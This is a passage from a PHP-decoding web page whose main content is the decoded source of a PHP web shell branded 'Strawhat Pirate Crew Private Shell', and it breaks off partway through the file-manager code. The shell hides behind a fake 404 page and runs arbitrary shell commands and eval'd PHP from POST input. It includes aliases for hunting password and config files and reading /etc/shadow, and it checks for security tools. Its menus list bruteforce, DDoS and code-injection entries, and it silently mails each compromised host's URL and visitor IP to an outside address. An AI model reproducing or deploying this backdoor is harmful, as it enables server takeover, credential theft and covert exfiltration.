Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* ("Strawhat Pirate Crew Private Shell 2.1") */ /* ("Modified by ~N61tap") */ ..
Decoded Output download
?>b'<?php
$color = "#FECD01";
$default_action = \'FilesMan\';
@define(\'SELF_PATH\', __FILE__);
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) {
header(\'HTTP/1.0 404 Not Found\');
exit;
}
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'display_errors\',0);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define(\'VERSION\', \'Ver 3.0\');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
echo \'<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at \'.$_SERVER[\'HTTP_HOST\'].\' Port 80</address>
<style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
<center><form method=post><input type=password name=pass></form></center>\';
exit;
}
if( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = \'win\';
else
$os = \'nix\';
$safe_mode = @ini_get(\'safe_mode\');
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if( isset( $_POST[\'c\'] ) )
@chdir($_POST[\'c\']);
$cwd = @getcwd();
if( $os == \'win\') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != \'/\' )
$cwd .= \'/\';
if($os == \'win\') {
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
} else {
$aliases = array(
"List dir" => "ls -la",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate \'.conf\'",
"locate .pwd files" => "locate \'.pwd\'",
"locate .sql files" => "locate \'.sql\'",
"locate .htpasswd files" => "locate \'.htpasswd\'",
"locate .bash_history files" => "locate \'.bash_history\'",
"locate .mysql_history files" => "locate \'.mysql_history\'",
"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
}
function ex($in) {
$out = \'\';
if(function_exists(\'exec\')) {
@exec($in,$out);
$out = @join("
",$out);
}elseif(function_exists(\'passthru\')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists(\'system\')) {
ob_start();
@system($in);
$out = ob_get_clean();
}elseif(function_exists(\'shell_exec\')) {
$out = shell_exec($in);
}elseif(is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function which($p) {
$path = ex(\'which \'.$p);
if(!empty($path))
return $path;
return false;
}
function printHeader() {
if(empty($_POST[\'charset\']))
$_POST[\'charset\'] = "UTF-8";
global $color;
echo \'<html><head><meta http-equiv="Content-Type" content="text/html; charset=\'.$_POST[\'charset\'].\'"><title>.::Str4what Pirate Crew Shell::.</title><link REL="SHORTCUT ICON" HREF="http://s24.postimg.org/qrcevfpqp/123.png">
<style>
body {background-color:#222;color:#fff;}
body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
span,h1,a { color:\'.$color.\' !important; }
span { font-weight: bolder; }
h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
div.content { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
a { text-decoration:none; }
a:hover { /*background:#5e5e5e;*/ }
.ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea { width:100%;height:250px;margin-top:5px;}
input, textarea, select { margin:0;color:#00FFFF;background-color:#555;border:1px solid \'.$color.\'; font: 9pt Monospace,"Courier New"; }
input[type="button"]:hover,input[type="submit"]:hover {background-color:\'.$color.\';color:#000;}
form { margin:0px; }
#toolsTbl { text-align:center; }
.toolsInp { width: 80%; }
.main th {text-align:left;background-color:#555;font-weight: bold;}
.main tr:hover{background-color:#5e5e5e;}
.main td, th{vertical-align:middle;}
.menu {background: #333;}
.menu th{padding:5px;font-weight:bold;}
.menu th:hover{background:#444;}
.l1 {background-color:#444;}
pre {font-family:Courier,Monospace;}
#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
.logo {text-align:center;font-size:60px;}
.logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
.cpr {margin-bottom:5px;font-weight:bold;}
.cpb {width:34px;margin:0 5px;}
.eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
.eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
.npoad td {padding:0;}
</style>
<script>
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;
if(c != null)document.mf.c.value=c;
if(p1 != null)document.mf.p1.value=p1;
if(p2 != null)document.mf.p2.value=p2;
if(p3 != null)document.mf.p3.value=p3;
if(charset != null)document.mf.charset.value=charset;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = "ajax=true";
for(i=0;i<document.mf.elements.length;i++)
params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
sr("\'.$_SERVER[\'REQUEST_URI\'].\'", params);
}
function sr(url, params) {
if (window.XMLHttpRequest) {
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft.XMLHTTP");
if (req) {
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
//alert(req.responseText);
var reg = new RegExp("(\d+)([\S\s]*)", "m");
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
}
else alert("Request error!");
}
</script>
<head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
<form method=post name=mf style="display:none;">
<input type=hidden name=a value="\'.(isset($_POST[\'a\'])?$_POST[\'a\']:\'\').\'">
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=p1 value="\'.(isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'">
<input type=hidden name=p2 value="\'.(isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\').\'">
<input type=hidden name=p3 value="\'.(isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\').\'">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
</form>\';
$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
$totalSpace = $totalSpace?$totalSpace:1;
$disable_functions = @ini_get(\'disable_functions\');
$release = @php_uname(\'r\');
$kernel = @php_uname(\'s\');
if(!function_exists(\'posix_getegid\')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid[\'name\'];
$uid = $uid[\'uid\'];
$group = $gid[\'name\'];
$gid = $gid[\'gid\'];
}
$cwd_links = \'\';
$path = explode("/", $GLOBALS[\'cwd\']);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
for($j=0;$j<=$i;$j++)
$cwd_links .= $path[$j].\'/\';
$cwd_links .= "\")\'>".$path[$i]."/</a>";
}
$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
$opt_charsets = \'\';
foreach($charsets as $item)
$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';
$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Bypasser\'=>\'SafeMode\',\'Safe Mode\'=>\'Bypass\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\',\'Readable Dirs\'=>\'Readable\',\'Port Scanner\'=>\'PortScanner\',\'Symlink\'=>\'Symlink\',\'DDoS\'=>\'Ddos\',\'Mail\'=>\'Mail\',\'Code Injector\'=>\'Injector\');
if(!empty($GLOBALS[\'auth_pass\']))
$m[\'SelfKill\'] = \'SelfRemove\';
$m[\'Logout\'] = \'Logout\';
$menu = \'\';
foreach($m as $k => $v)
$menu .= \'<th><a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a></th>\';
$drives = "";
if ($GLOBALS[\'os\'] == \'win\') {
foreach( range(\'a\',\'z\') as $drive ){
if (is_dir($drive.\':\\'))
$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
}
$drives .= \'<br />: \';
}
if($GLOBALS[\'os\'] == \'nix\') {
$dominios = @file_get_contents("/etc/named.conf");
if(!$dominios) {
$d0c = "CANT READ named.conf";
} else {
@preg_match_all(\'/.*?zone "(.*?)" {/\', $dominios, $out);
$out = sizeof(array_unique($out[1]));
$d0c = $out." Domains";
}
} else {
$d0c = " --- ";
}
if($GLOBALS[\'os\'] == \'nix\' )
{
$usefl = \'\'; $dwnldr = \'\';
if(!@ini_get(\'safe_mode\')) {
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
foreach($userful as $item) { if(which($item)) $usefl.= $item.\',\'; }
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
foreach($downloaders as $item2) { if(which($item2)) $dwnldr.= $item2.\',\'; }
} else {
$usefl = \' ------- \'; $dwnldr = \' ------- \';
}
} else {
$usefl = \' ------- \'; $dwnldr = \' ------- \';
}
echo \'<table class="info" cellpadding="0" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo"><img src="http://i44.tinypic.com/1175nkj.gif" id="logo" height="75%" width="90%"/></div><hr style="margin: -5px 13px 2px 17px;width:160px;"><div class="eca1">Str4what</div><div class="eca2">P1rate Crew</div></td>
<td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>\'.substr(@php_uname(), 0, 120).\'</nobr></td></tr>
<tr><td><span>User</span></td><td>: \'.$uid.\' ( \'.$user.\' ) <span>Group: </span> \'.$gid.\' ( \'.$group.\' )</td></tr><tr><td><span>Server</span></td><td>: \'.@getenv(\'SERVER_SOFTWARE\').\'</td></tr><tr><td><span>Useful</span></td><td>: \'.$usefl.\'</td></tr><tr><td><span>Downloaders</span></td><td>: \'.$dwnldr.\'</td></tr><tr><td><span>Disabled functions</span></td><td>: \'.($disable_functions?$disable_functions:\'All Function Enable\').\'</td></tr><tr><td><span>\'.($GLOBALS[\'os\'] == \'win\'?\'Drives<br />Cwd\':\'Cwd\').\'</span></td><td>: \'.$drives.\'\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>\'.
\'<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>\'.
\'<td><nobr>: \'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br>: \'.$_SERVER[\'REMOTE_ADDR\'].\'<br />: \'.viewSize($totalSpace).\'<br />: \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>: \'.@phpversion().\' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=\'.$color.\'<b>OFF</b></font>\').\'<br />: \'.$d0c.\'</nobr></td></tr></table>\'.
\'</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>\'.$menu.\'</tr></table></div></div><div style="margin:5;background:#444;">\';
}
function printFooter() {
$is_writable = is_writable($GLOBALS[\'cwd\'])?"<font color=#6699ff>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
echo \'</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
<tr>
<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"><input type=submit value=">>"></form></td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
</tr>
<tr>
<td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>\'.$is_writable.\'</td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
</tr>
<tr>
<td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
<td><form method="post" ENCTYPE="multipart/form-data">
<input type=hidden name=a value="FilesMAn">
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=p1 value="uploadFile">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
</tr>
</table></div></div>
<div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;text-align:center;font-weight:bold;">Str4what Pirate Crew Shell\'.VERSION.\', © Zyb3r Private Shell</div></div>
</div>
</body></html>\';
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }
if(!isset($_SESSION[\'trimite\'])){
$url=$_SERVER[\'HTTP_HOST\'].$_SERVER[\'REQUEST_URI\'].\'<br />User IP: \'.$_SERVER[\'REMOTE_ADDR\'].(isset($_SERVER[\'HTTP_X_FORWARDED_FOR\'])?\'(\'.$_SERVER[\'HTTP_X_FORWARDED_FOR\'].\')\':\'\');
@mail("[email protected]","Zyb3r_Shell_2.0",$url);
$_SESSION[\'trimite\']=true;
}
function viewSize($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
else
return $s . \' B\';
}
function perms($p) {
if (($p & 0xC000) == 0xC000)$i = \'s\';
elseif (($p & 0xA000) == 0xA000)$i = \'l\';
elseif (($p & 0x8000) == 0x8000)$i = \'-\';
elseif (($p & 0x6000) == 0x6000)$i = \'b\';
elseif (($p & 0x4000) == 0x4000)$i = \'d\';
elseif (($p & 0x2000) == 0x2000)$i = \'c\';
elseif (($p & 0x1000) == 0x1000)$i = \'p\';
else $i = \'u\';
$i .= (($p & 0x0100) ? \'r\' : \'-\');
$i .= (($p & 0x0080) ? \'w\' : \'-\');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
$i .= (($p & 0x0020) ? \'r\' : \'-\');
$i .= (($p & 0x0010) ? \'w\' : \'-\');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
$i .= (($p & 0x0004) ? \'r\' : \'-\');
$i .= (($p & 0x0002) ? \'w\' : \'-\');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
return $i;
}
function viewPermsColor($f) {
if (!@is_readable($f))
return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';
elseif (!@is_writable($f))
return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';
else
return \'<font color=#3399CC><b>\'.perms(@fileperms($f)).\'</b></font>\';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function actionSecInfo() {
printHeader();
echo \'<h1>Server security information</h1><div class=content>\';
function showSecParam($n, $v) {
$v = trim($v);
if($v) {
echo \'<span>\'.$n.\': </span>\';
if(strpos($v, "
") === false)
echo $v.\'<br>\';
else
echo \'<pre class=ml1>\'.$v.\'</pre>\';
}
}
showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\');
showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
$temp=array();
if(function_exists(\'mysql_get_client_info\'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists(\'mssql_connect\'))
$temp[] = "MSSQL";
if(function_exists(\'pg_connect\'))
$temp[] = "PostgreSQL";
if(function_exists(\'oci_connect\'))
$temp[] = "Oracle";
showSecParam(\'Supported databases\', implode(\', \', $temp));
echo \'<br>\';
if( $GLOBALS[\'os\'] == \'nix\' ) {
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
$danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\');
showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
if(!$GLOBALS[\'safe_mode\']) {
echo \'<br>\';
$temp=array();
foreach ($userful as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Userful\', implode(\', \',$temp));
$temp=array();
foreach ($danger as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Danger\', implode(\', \',$temp));
$temp=array();
foreach ($downloaders as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Downloaders\', implode(\', \',$temp));
echo \'<br/>\';
showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
showSecParam(\'HDD space\', ex(\'df -h\'));
showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
}
} else {
showSecParam(\'OS Version\',ex(\'ver\'));
showSecParam(\'Account Settings\',ex(\'net accounts\'));
showSecParam(\'User Accounts\',ex(\'net user\'));
}
echo \'</div>\';
printFooter();
}
function actionPhp() {
if( isset($_POST[\'ajax\']) ) {
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
ob_start();
eval($_POST[\'p1\']);
$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"
\\'")."\';
";
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
if( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {
echo \'<h1>PHP info</h1><div class=content>\';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);
$tmp = preg_replace(\'!a:\w+ {.*}!msiU\',\'\',$tmp);
$tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);
$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
$tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);
echo $tmp;
echo \'</div><br>\';
}
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';
echo \' <input type=checkbox name=ajax value=1 \'.(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
if(!empty($_POST[\'p1\'])) {
ob_start();
eval($_POST[\'p1\']);
echo htmlspecialchars(ob_get_clean());
}
echo \'</pre></div>\';
printFooter();
}
function actionFilesMan() {
printHeader();
echo \'<h1>File manager</h1><div class=content>\';
if(isset($_POST[\'p1\'])) {
switch($_POST[\'p1\']) {
case \'uploadFile\':
if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
echo "Can\'t upload file!";
break;
break;
case \'mkdir\':
if(!@mkdir($_POST[\'p2\']))
echo "Can\'t create new dir";
break;
case \'delete\':
function deleteDir($path) {
$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
rmdir($path);
}
if(is_array(@$_POST[\'f\']))
foreach($_POST[\'f\'] as $f) {
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case \'paste\':
if($_SESSION[\'act\'] == \'copy\') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION[\'f\'] as $f)
copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']);
} elseif($_SESSION[\'act\'] == \'move\') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION[\'f\'] as $f)
@rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f);
}
unset($_SESSION[\'f\']);
break;
default:
if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) {
$_SESSION[\'act\'] = @$_POST[\'p1\'];
$_SESSION[\'f\'] = @$_POST[\'f\'];
foreach($_SESSION[\'f\'] as $k => $f)
$_SESSION[\'f\'][$k] = urldecode($f);
$_SESSION[\'cwd\'] = @$_POST[\'c\'];
}
break;
}
echo \'<script>document.mf.p1.value="";document.mf.p2.value="";</script>\';
}
$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
if($dirContent === false) { echo \'Can\'t open this folder!\'; return; }
global $sort;
$sort = array(\'name\', 1);
if(!empty($_POST[\'p1\'])) {
if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo \'<script>
function sa() {
for(i=0;i<document.files.elements.length;i++)
if(document.files.elements[i].type == \'checkbox\')
document.files.elements[i].checked = document.files.elements[0].checked;
}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post>\';
echo "<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = $links = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array(\'name\' => $dirContent[$i],
\'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
\'modify\' => @date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),
\'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),
\'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
